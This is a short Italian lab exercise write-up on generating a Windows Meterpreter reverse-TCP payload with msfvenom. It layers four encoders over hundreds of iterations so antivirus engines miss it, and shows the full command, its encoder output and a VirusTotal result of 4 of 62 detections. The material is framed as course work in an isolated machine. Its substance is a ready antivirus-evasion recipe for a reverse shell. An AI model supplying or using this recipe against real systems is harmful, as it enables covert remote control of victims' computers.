

# Malware

## Obiettivo dell'Esercizio:

L'esercizio di oggi consiste nel creare un malware utilizzando msfvenom che sia meno rilevabile rispetto al malware analizzato durante la lezione.

## Passaggi da Seguire:

- Preparazione dell'Ambiente
- Assicurati di avere un ambiente di lavoro sicuro e isolato, preferibilmente una macchina virtuale, per evitare danni al sistema principale.
- Utilizzo di msfvenom per generare il malware.
- Migliorare la Non Rilevabilità
- Test del Malware una volta generato.
- Analisi dei Risultati Confronta i risultati del tuo malware con quelli analizzati durante la lezione. Valuta le differenze in termini di rilevabilità e discuti le possibili migliorie.

```
kali@kali:~$ sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.23 LPORT=5959 -a x86 --platform windows \
-e x86/shikata_ga_nai -i 150 -f raw | \
msfvenom -a x86 --platform windows -e x86/countdown -i 250 -f raw | \
msfvenom -a x86 --platform windows -e x86/sor_dynamic -i 200 -f raw | \
msfvenom -a x86 --platform windows -e x86/fnstenv_mov -i 150 -o /home/kali/Desktop/stealthed_payload.exe

Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 150 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai succeeded with size 408 (iteration=1)
x86/shikata_ga_nai succeeded with size 435 (iteration=2)
x86/shikata_ga_nai succeeded with size 462 (iteration=3)
x86/shikata_ga_nai succeeded with size 489 (iteration=4)
x86/shikata_ga_nai succeeded with size 516 (iteration=5)
x86/shikata_ga_nai succeeded with size 543 (iteration=6)
x86/shikata_ga_nai succeeded with size 570 (iteration=7)
x86/shikata_ga_nai succeeded with size 597 (iteration=8)
x86/shikata_ga_nai succeeded with size 624 (iteration=9)
x86/shikata_ga_nai succeeded with size 651 (iteration=10)
x86/shikata_ga_nai succeeded with size 678 (iteration=11)
x86/shikata_ga_nai succeeded with size 705 (iteration=12)
x86/shikata_ga_nai succeeded with size 732 (iteration=13)
x86/shikata_ga_nai succeeded with size 759 (iteration=14)
x86/shikata_ga_nai succeeded with size 786 (iteration=15)
x86/shikata_ga_nai succeeded with size 813 (iteration=16)
x86/shikata_ga_nai succeeded with size 840 (iteration=17)
x86/shikata_ga_nai succeeded with size 867 (iteration=18)
x86/shikata_ga_nai succeeded with size 894 (iteration=19)
x86/shikata_ga_nai succeeded with size 921 (iteration=20)
x86/shikata_ga_nai succeeded with size 948 (iteration=21)
x86/shikata_ga_nai succeeded with size 975 (iteration=22)
x86/shikata_ga_nai succeeded with size 1002 (iteration=23)
x86/shikata_ga_nai succeeded with size 1029 (iteration=24)
x86/shikata_ga_nai succeeded with size 1056 (iteration=25)
x86/shikata_ga_nai succeeded with size 1083 (iteration=26)
x86/shikata_ga_nai succeeded with size 1110 (iteration=27)
x86/shikata_ga_nai succeeded with size 1137 (iteration=28)
x86/shikata_ga_nai succeeded with size 1164 (iteration=29)
x86/shikata_ga_nai succeeded with size 1191 (iteration=30)
x86/shikata_ga_nai succeeded with size 1218 (iteration=31)
x86/shikata_ga_nai succeeded with size 1245 (iteration=32)
x86/shikata_ga_nai succeeded with size 1272 (iteration=33)
x86/shikata_ga_nai succeeded with size 1299 (iteration=34)
x86/shikata_ga_nai succeeded with size 1326 (iteration=35)
x86/shikata_ga_nai succeeded with size 1353 (iteration=36)
x86/shikata_ga_nai succeeded with size 1380 (iteration=37)
x86/shikata_ga_nai succeeded with size 1407 (iteration=38)
x86/shikata_ga_nai succeeded with size 1434 (iteration=39)
x86/shikata_ga_nai succeeded with size 1461 (iteration=40)
x86/shikata_ga_nai succeeded with size 1488 (iteration=41)
x86/shikata_ga_nai succeeded with size 1515 (iteration=42)
x86/shikata_ga_nai succeeded with size 1542 (iteration=43)
x86/shikata_ga_nai succeeded with size 1569 (iteration=44)
x86/shikata_ga_nai succeeded with size 1596 (iteration=45)
x86/shikata_ga_nai succeeded with size 1623 (iteration=46)
x86/shikata_ga_nai succeeded with size 1650 (iteration=47)
x86/shikata_ga_nai succeeded with size 1677 (iteration=48)
x86/shikata_ga_nai succeeded with size 1704 (iteration=49)
x86/shikata_ga_nai succeeded with size 1731 (iteration=50)
x86/shikata_ga_nai succeeded with size 1758 (iteration=51)
x86/shikata_ga_nai succeeded with size 1785 (iteration=52)
x86/shikata_ga_nai succeeded with size 1812 (iteration=53)
x86/shikata_ga_nai succeeded with size 1839 (iteration=54)
x86/shikata_ga_nai succeeded with size 1866 (iteration=55)
x86/shikata_ga_nai succeeded with size 1893 (iteration=56)
x86/shikata_ga_nai succeeded with size 1920 (iteration=57)
x86/shikata_ga_nai succeeded with size 1947 (iteration=58)
```

# Creazione

# Test

VirusTotal - File - 741d8f5a5ec774d69d032871cc08d45ad587660659295a489c785186e9d66b8

741d8f5a5ec774d69d032871cc08d45ad587660659295a489c785186e9d66b8

4 / 62 security vendors flagged this file as malicious

Community Score: 4 / 62

Size: 34.02 KB

Last Analysis Date: a moment ago

Popular threat label: hack/msfencode

Family labels: hack, msfencode

Security vendors' analysis			
Avast	Win32:MsEncode-T (Hack)	AVG	Win32:MsEncode-T (Hack)
ClamAV	Win.Exploit.Fnstenv_mov-1	Google	Detected
Acronis (Static ML)	Undetected	AhnLab-V3	Undetected
AllCloud	Undetected	ALYac	Undetected
Anthy-AVL	Undetected	Arcabit	Undetected
Avira (no cloud)	Undetected	Baidu	Undetected
BitDefender	Undetected	Bkav Pro	Undetected
CMC	Undetected	CrowdStrike Falcon	Undetected
CTX	Undetected	Cynet	Undetected
DrWeb	Undetected	Emsisoft	Undetected
eScan	Undetected	ESET-NOD32	Undetected
Fortinet	Undetected	GData	Undetected
Gridinsoft (no cloud)	Undetected	Huorong	Undetected

# Conclusione

L'obiettivo di questo esercizio è quello di creare un payload Windows Meterpreter utilizzando msfvenom con tecniche avanzate di offuscamento. Il fine è ottenere un file eseguibile che sia difficile da rilevare dai motori antivirus, migliorando la capacità di eludere i sistemi di difesa attraverso l'uso di encoder multipli e iterazioni elevate.

**Daniel\_Gabriel\_Costeanu**